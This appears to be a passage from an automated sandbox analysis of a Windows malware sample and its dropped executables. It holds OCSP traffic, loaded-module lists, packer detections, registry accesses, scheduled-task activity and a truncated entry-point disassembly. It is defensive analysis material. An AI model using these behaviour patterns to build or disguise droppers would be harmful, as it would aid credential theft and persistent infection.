==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA2160414748580C066C7DF37DECFBD2937AA031DBEEDCD17180F32....... "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Mon 25 Dec 2023 12:18:56 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1646 with response body ==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA2160414D49BADF2AB3CB9FF1A3E0C506DCF192780868DAA180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTk45WiKdPUwcMf8JgMC07ACYqr2AQUt2ui6qiqhIx56rTaD5iyxZV2ufQCEAqiBEK%2F1RSvcy4lL46SQ4M%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 3908 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Mon 25 Dec 2023 12:46:23 GMT Last-Modified: Mon 25 Dec 2023 11:41:15 GMT Server: ECAcc (sac/253A) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA2160414B76BA2EAA8AA848C79EAB4DA0F98B2C59576B9F4180F32....... "GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEkpLy9ROx7U76vGUhC06D6E%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.rootca1.amazontrust.com" Response ==> HTTP/1.1 200 OK Content-Type: application/ocsp-response Content-Length: 1426 Connection: keep-alive Date: Mon 25 Dec 2023 12:27:51 GMT Last-Modified: Mon 25 Dec 2023 12:27:51 GMT ETag: be035f4c7baedf6147d7db429f49d519608b5d2b Expires: Mon 01 Jan 2024 12:27:51 GMT Cache-Control: max-age=302400 public no-transform must-revalidate Server: with response body ==>....... "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 724 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Mon 25 Dec 2023 12:17:28 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1737 with response body ==>308202D00A0100A08202C9308202C506092B0601050507300101048202B6308202B230819BA2160414E4AF2B26711A2B4827852F52662CEFF08913713E180F32.......42:T3dd2,"a56da099e59801bac606963e44684336.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6e2a0000 "a56da099e59801bac606963e44684336.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74d60000 "Qv9nk40.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 707c0000 "Qv9nk40.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "Qv9nk40.exe" loaded module "KERNEL32" at base 753a0000 "Qv9nk40.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "Qv9nk40.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6b3b0000 "Qv9nk40.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74d60000 "cw8sM05.exe" loaded module "%WINDIR%\SYSTEM32\ADVPACK.DLL" at base 6e2a0000 "cw8sM05.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74d60000 "1va32uO2.exe" loaded module "OLE32.DLL" at base 751f0000 "1va32uO2.exe" loaded module "ADVAPI32.DLL" at base 758e0000 "1va32uO2.exe" loaded module "PROPSYS.DLL" at base 73ac0000 "1va32uO2.exe" loaded module "COMCTL32.DLL" at base 73d80000 "1va32uO2.exe" loaded module "OLEAUT32.DLL" at base 75840000 "1va32uO2.exe" loaded module "APPHELP.DLL" at base 74d60000 "1va32uO2.exe" loaded module "CLBCATQ.DLL" at base 76060000 "1va32uO2.exe" loaded module "KERNEL32.DLL" at base 753a0000 "1va32uO2.exe" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base 69d20000 "1va32uO2.exe" loaded module "API-MS-WIN-DOWNLEVEL-OLE32-L1-1-0.DLL" at base 74fc0000 "1va32uO2.exe" loaded module "URLMON.DLL" at base 75480000 "1va32uO2.exe" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L2-1-0.DLL" at base 6d9d0000 "1va32uO2.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73ac0000 "1va32uO2.exe" loaded module "%PROGRAMFILES%\INTERNET EXPLORER\IEPROXY.DLL" at base 6b350000 "1va32uO2.exe" loaded module "IERTUTIL.DLL" at base 75dc0000 "1va32uO2.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 76270000 "1va32uO2.exe" loaded module "USER32.DLL" at base 760f0000 "1va32uO2.exe" loaded module "SETUPAPI.DLL" at base 755d0000 "1va32uO2.exe" loaded module "RPCRT4.DLL" at base 75d10000 "1va32uO2.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74d60000 "1va32uO2.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-1" at base 0 "1va32uO2.exe" loaded module "EXT-MS-WIN-KERNEL32-PACKAGE-CURRENT-L1-1-0" at base 0 "4Du834Zv.exe" loaded module "SHLWAPI.DLL" at base 76210000 "4Du834Zv.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "4Du834Zv.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "4Du834Zv.exe" loaded module "VERSION.DLL" at base 74350000 "4Du834Zv.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 707c0000 "4Du834Zv.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "4Du834Zv.exe" loaded module "KERNEL32" at base 753a0000 "4Du834Zv.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 62f30000 "4Du834Zv.exe" loaded module "USER32.DLL" at base 760f0000 "4Du834Zv.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 0 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREE.DLL" at base 0 "4Du834Zv.exe" loaded module "MSCOREE.DLL" at base 71d70000 "4Du834Zv.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 0 "4Du834Zv.exe" loaded module "PSAPI.DLL" at base 77100000 "4Du834Zv.exe" loaded module "KERNEL32.DLL" at base 753a0000 "4Du834Zv.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 61b20000 "4Du834Zv.exe" loaded module "RPCRT4.DLL" at base 75d10000 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLE32.DLL" at base 0 "4Du834Zv.exe" loaded module "OLE32.DLL" at base 751f0000 "4Du834Zv.exe" loaded module "CRYPTBASE.DLL" at base 74db0000 "4Du834Zv.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 72ab0000 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 61a90000 "4Du834Zv.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 61030000 "4Du834Zv.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 60810000 "4Du834Zv.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MICROSOFT.CSHARP\F73F48AFB5512225DEDAEE9C88AC5050\MICROSOFT.CSHARP.NI.DLL" at base 60670000 "4Du834Zv.exe" loaded module "ADVAPI32.DLL" at base 758e0000 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\NLSSORTING.DLL" at base 72510000 "4Du834Zv.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 60560000 "4Du834Zv.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 5fde0000 "4Du834Zv.exe" loaded module "NTDLL.DLL" at base 76fb0000 "4Du834Zv.exe" loaded module "SHELL32.DLL" at base 76270000 "4Du834Zv.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 75380000 "4Du834Zv.exe" loaded module "PROFAPI.DLL" at base 74ed0000 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "4Du834Zv.exe" loaded module "BCRYPT.DLL" at base 749d0000 "4Du834Zv.exe" loaded module "CRYPTSP.DLL" at base 748c0000 "4Du834Zv.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 74650000 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "4Du834Zv.exe" loaded module "CLBCATQ.DLL" at base 76060000 "4Du834Zv.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 76270000 "4Du834Zv.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75380000 "4Du834Zv.exe" loaded module "RPCRTREMOTE.DLL" at base 74e50000 "4Du834Zv.exe" loaded module "PROPSYS.DLL" at base 73ac0000 "4Du834Zv.exe" loaded module "COMCTL32.DLL" at base 73d80000 "4Du834Zv.exe" loaded module "OLEAUT32.DLL" at base 75840000 "4Du834Zv.exe" loaded module "SETUPAPI.DLL" at base 755d0000 "4Du834Zv.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73ac0000 "4Du834Zv.exe" loaded module "NTMARTA.DLL" at base 74210000 "4Du834Zv.exe" loaded module "APPHELP.DLL" at base 74d60000 "4Du834Zv.exe" loaded module "%WINDIR%\SYSTEM32\SHDOCVW.DLL" at base 6e670000 "4Du834Zv.exe" loaded module "LINKINFO.DLL" at base 6e660000 "4Du834Zv.exe" loaded module "NTSHRUI.DLL" at base 72650000 "4Du834Zv.exe" loaded module "SRVCLI.DLL" at base 74ad0000 "4Du834Zv.exe" loaded module "CSCAPI.DLL" at base 706d0000 "4Du834Zv.exe" loaded module "SLC.DLL" at base 73270000 "4Du834Zv.exe" loaded module "SSPICLI.DLL" at base 74d40000 "4Du834Zv.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74d60000 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WS2_32.DLL" at base 0 "4Du834Zv.exe" loaded module "WS2_32.DLL" at base 76f70000 "4Du834Zv.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74880000 "4Du834Zv.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 743e0000 "4Du834Zv.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74870000 "4Du834Zv.exe" loaded module "%TEMP%\IXP002.TMP\SQLITE3" at base 0 "4Du834Zv.exe" loaded module "SQLITE3" at base 5fd10000 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\RASAPI32.DLL" at base 0 "4Du834Zv.exe" loaded module "RASAPI32.DLL" at base 71f90000 "4Du834Zv.exe" loaded module "RTUTILS.DLL" at base 72cc0000 "4Du834Zv.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL" at base 75380000 "4Du834Zv.exe" loaded module "API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL" at base 75380000 "4Du834Zv.exe" loaded module "RASMAN.DLL" at base 71f70000 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\WINHTTP.DLL" at base 0 "4Du834Zv.exe" loaded module "WINHTTP.DLL" at base 70350000 "4Du834Zv.exe" loaded module "CREDSSP.DLL" at base 74580000 "4Du834Zv.exe" loaded module "IPHLPAPI.DLL" at base 73200000 "4Du834Zv.exe" loaded module "DHCPCSVC6.DLL" at base 73070000 "4Du834Zv.exe" loaded module "DHCPCSVC.DLL" at base 73050000 "4Du834Zv.exe" loaded module "NSI.DLL" at base 77120000 "4Du834Zv.exe" loaded module "CFGMGR32.DLL" at base 74ee0000 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\IPHLPAPI.DLL" at base 0 "4Du834Zv.exe" loaded module "DNSAPI.DLL" at base 74740000 "4Du834Zv.exe" loaded module "RASADHLP.DLL" at base 71640000 "4Du834Zv.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 73130000 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "4Du834Zv.exe" loaded module "SECUR32.DLL" at base 74bf0000 "4Du834Zv.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 746c0000 "4Du834Zv.exe" loaded module "NCRYPT.DLL" at base 749f0000 "4Du834Zv.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 74590000 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "4Du834Zv.exe" loaded module "CRYPT32.DLL" at base 74fd0000 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CRYPT32.DLL" at base 0 "4Du834Zv.exe" loaded module "USERENV.DLL" at base 74f60000 "4Du834Zv.exe" loaded module "GPAPI.DLL" at base 74490000 "4Du834Zv.exe" loaded module "API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL" at base 75380000 "4Du834Zv.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 709f0000 "4Du834Zv.exe" loaded module "CRYPTNET.DLL" at base 709f0000 "4Du834Zv.exe" loaded module "SENSAPI.DLL" at base 72530000 "4Du834Zv.exe" loaded module "CABINET.DLL" at base 70130000 "4Du834Zv.exe" loaded module "DEVRTL.DLL" at base 74630000 "4Du834Zv.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DYNAMIC\B7AD5353AE4F44DF28CE7EBC9A8A752A\SYSTEM.DYNAMIC.NI.DLL" at base 687a0000 "4Du834Zv.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.DATA\DF2DD09ED7C341842A104E1E668F184E\SYSTEM.DATA.NI.DLL" at base 5eea0000 "4Du834Zv.exe" loaded module "VAULTCLI.DLL" at base 705c0000 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 5eb40000 "4Du834Zv.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.MANAGEMENT\E114780FD3EA5727401C06EA4F22EF35\SYSTEM.MANAGEMENT.NI.DLL" at base 5ea10000 "4Du834Zv.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\WINDOWSBASE\1A4CC316FB6D09525321FC0BE44692D8\WINDOWSBASE.NI.DLL" at base 5e5f0000 "4Du834Zv.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIONCORE\468F4E17BE144CA12A73A4297EACC9CC\PRESENTATIONCORE.NI.DLL" at base 5d9b0000 "4Du834Zv.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\PRESENTATIO5AE0F00F#\252CC7B0FAE8CFE083BDC149957C0C54\PRESENTATIONFRAMEWORK.NI.DLL" at base 5c5c0000 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\PRESENTATIONCORE\V4.0_4.0.0.0__31BF3856AD364E35\UCRTBASE_CLR0400.DLL" at base 0 "4Du834Zv.exe" loaded module "UCRTBASE_CLR0400.DLL" at base 6aba0000 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\PRESENTATIONCORE\V4.0_4.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "4Du834Zv.exe" loaded module "DWRITE.DLL" at base 69a50000 "4Du834Zv.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 74f10000 "4Du834Zv.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 0 "4Du834Zv.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 0 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\WPFGFX_V0400.DLL" at base 5c430000 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\WPF\PRESENTATIONNATIVE_V0400.DLL" at base 5c340000 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\\WMINET_UTILS.DLL" at base 68600000 "4Du834Zv.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 753a0000 "4Du834Zv.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 6c320000 "4Du834Zv.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 6cf00000 "4Du834Zv.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 6c340000 "4Du834Zv.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 6d180000 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_32\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\OLEAUT32.DLL" at base 0 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\OLEAUT32.DLL" at base 0 "4Du834Zv.exe" loaded module "%TEMP%\IXP002.TMP\SETUPAPI.DLL" at base 0 "4Du834Zv.exe" loaded module "%TEMP%\IXP002.TMP\WINBRAND.DLL" at base 0 "4Du834Zv.exe" loaded module "WINBRAND.DLL" at base 685c0000 "4Du834Zv.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73a40000 "4Du834Zv.exe" loaded module "GDI32.DLL" at base 75cc0000 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\VERSION.DLL" at base 0 "4Du834Zv.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 5c230000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 74d60000 "schtasks.exe" loaded module "VERSION.DLL" at base 74350000 "schtasks.exe" loaded module "KERNEL32.DLL" at base 753a0000 "schtasks.exe" loaded module "CRYPTBASE.DLL" at base 74db0000 "schtasks.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73a40000 "schtasks.exe" loaded module "RPCRT4.DLL" at base 75d10000 "schtasks.exe" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base 75380000 "schtasks.exe" loaded module "ADVAPI32.DLL" at base 758e0000 "schtasks.exe" loaded module "CLBCATQ.DLL" at base 76060000 "schtasks.exe" loaded module "%WINDIR%\SYSTEM32\TASKSCHD.DLL" at base 734c0000 "schtasks.exe" loaded module "SSPICLI.DLL" at base 74d40000 "schtasks.exe" loaded module "XMLLITE.DLL" at base 736e0000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 707c0000 "cmd.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "cmd.exe" loaded module "KERNEL32" at base 753a0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "6RL4Tz0.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 707c0000 "6RL4Tz0.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "6RL4Tz0.exe" loaded module "KERNEL32" at base 753a0000 "6RL4Tz0.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "6RL4Tz0.exe" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base 743e0000 "6RL4Tz0.exe" loaded module "%WINDIR%\SYSTEM32\WSHIP6.DLL" at base 74870000 "6RL4Tz0.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 74880000 "6RL4Tz0.exe" loaded module "DNSAPI.DLL" at base 74740000 "6RL4Tz0.exe" loaded module "IPHLPAPI.DLL" at base 73200000 "6RL4Tz0.exe" loaded module "RASADHLP.DLL" at base 71640000 "6RL4Tz0.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7313000043:Tc26,"a56da099e59801bac606963e44684336" was detected as "Microsoft Cabinet" and name: "sfx" "a56da099e59801bac606963e44684336" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "a56da099e59801bac606963e44684336" was detected as "Microsoft Visual C/C++" and name: "Compiler" "a56da099e59801bac606963e44684336" was detected as "Microsoft Cabinet File" and name: "Archive" "a56da099e59801bac606963e44684336" was detected as "Microsoft Linker" and name: "Linker" "Qv9nk40.exe" was detected as "Microsoft Cabinet" and name: "sfx" "Qv9nk40.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "Qv9nk40.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "Qv9nk40.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "Qv9nk40.exe" was detected as "Microsoft Linker" and name: "Linker" "1va32uO2.exe" was detected as "Microsoft Cabinet" and name: "sfx" "1va32uO2.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "1va32uO2.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "1va32uO2.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "1va32uO2.exe" was detected as "Microsoft Linker" and name: "Linker" "cw8sM05.exe" was detected as "Microsoft Cabinet" and name: "sfx" "cw8sM05.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "cw8sM05.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "cw8sM05.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "cw8sM05.exe" was detected as "Microsoft Linker" and name: "Linker" "4Du834Zv.exe" was detected as "Microsoft Cabinet" and name: "sfx" "4Du834Zv.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "4Du834Zv.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "4Du834Zv.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "4Du834Zv.exe" was detected as "Microsoft Linker" and name: "Linker" "sqlite3.dll" was detected as "Microsoft Cabinet" and name: "sfx" "sqlite3.dll" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "sqlite3.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "sqlite3.dll" was detected as "Microsoft Cabinet File" and name: "Archive" "sqlite3.dll" was detected as "Microsoft Linker" and name: "Linker" "6RL4Tz0.exe" was detected as "Microsoft Cabinet" and name: "sfx" "6RL4Tz0.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "6RL4Tz0.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "6RL4Tz0.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "6RL4Tz0.exe" was detected as "Microsoft Linker" and name: "Linker" "7pm0Cc79.exe" was detected as "Microsoft Cabinet" and name: "sfx" "7pm0Cc79.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "7pm0Cc79.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "7pm0Cc79.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "7pm0Cc79.exe" was detected as "Microsoft Linker" and name: "Linker"44:T819,"1va32uO2.exe" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "1va32uO2.exe" touched "Network" (Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER") "1va32uO2.exe" touched "Property System Both Class Factory" (Path: "HKCU\CLSID\{76765B11-3F95-4AF2-AC9D-EA55D8994F1A}") "1va32uO2.exe" touched "Application Registration" (Path: "HKCU\CLSID\{591209C7-767B-42B2-9FBA-44EE4615F2C7}\TREATAS") "4Du834Zv.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\LOCALSERVER32") "4Du834Zv.exe" touched "Shortcut" (Path: "HKCU\CLSID\{00021401-0000-0000-C000-000000000046}\INPROCSERVER32") "4Du834Zv.exe" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "4Du834Zv.exe" touched "UsersFiles" (Path: "HKCU\CLSID\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\SHELLFOLDER") "4Du834Zv.exe" touched "delegate folder that appears in Users Files Folder" (Path: "HKCU\CLSID\{DFFACDC5-679F-4156-8947-C5C76BC0B67F}\SHELLFOLDER") "4Du834Zv.exe" touched "Shell File System Folder" (Path: "HKCU\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "4Du834Zv.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\INPROCSERVER32") "4Du834Zv.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\INPROCSERVER32") "4Du834Zv.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "4Du834Zv.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "4Du834Zv.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "4Du834Zv.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "schtasks.exe" touched "TaskScheduler class" (Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}")45:T13e9,"a56da099e59801bac606963e44684336" file has an entrypoint instructions - "call 0x407155,jmp 0x406a6a,push 0x58,push 0x4072b8,call 0x407208,xor ebx, ebx,mov dword ptr [ebp - 0x20], ebx,lea eax, [ebp - 